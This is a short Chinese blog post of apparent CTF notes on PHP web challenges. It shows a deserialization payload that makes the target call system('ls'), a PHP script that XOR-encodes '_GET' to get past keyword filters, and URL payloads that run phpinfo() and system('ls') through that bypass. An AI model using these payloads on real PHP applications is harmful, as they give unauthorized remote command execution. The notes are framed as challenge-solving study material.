Web

发布时间 2023-08-29 22:43:05作者: willingyut

页面空空如也时


 

抓包

入参为两个时,很可能一个是表示函数,另一个表示函数的参数

可以使用file_get_contents(index.php)查看页面源码

源码函数很多,无从下手时,尝试反序列化,下面这段代码可以直接放在phpstudy的www文件目录下,启动phpstudy后,直接打开localhost/xxx.php

<?php
class Test{ var $p="ls"; var $func="system"; } $a=new Test(); echo serialize($a); ?>

反序列化后得到O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";},将其作为函数unserialize的参数,发送包

 


 

 

页面有源码


源码里面过滤关键字符,同时过滤了php的内置函数

使用脚本生成异或取反字符

<?php
$payload = '_GET';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
    $flag=0;
    for ($i = 128; $i < 256; $i++) {
        for ($j = 128; $j < 256; $j++) {
            if ((chr($i) ^ chr($j)) === $payload[$l]) {
                echo urlencode(chr($i));
                $a=$a.urlencode(chr($i));
                echo '^';
                echo urlencode(chr($j));
                $b=$b.urlencode(chr($j));
                echo '=' . $payload[$l];
                echo "<br>";
                $flag=1;
                break;
            }
        }
        if($flag===1){
            break;
        }
    }
}

echo $a.'^'.$b;

_GET

用脚本生成的结果是%80%80%80%80^%DF%C7%C5%D4

phpinfo()
在URL中写成?code=${%80%80%80%80^%DF%C7%C5%D4}{e}()&e=phpinfo

system("ls")
?code=${%80%80%80%80^%DF%C7%C5%D4}{e}(${%80%80%80%80^%DF%C7%C5%D4}{v})&e=system&v=ls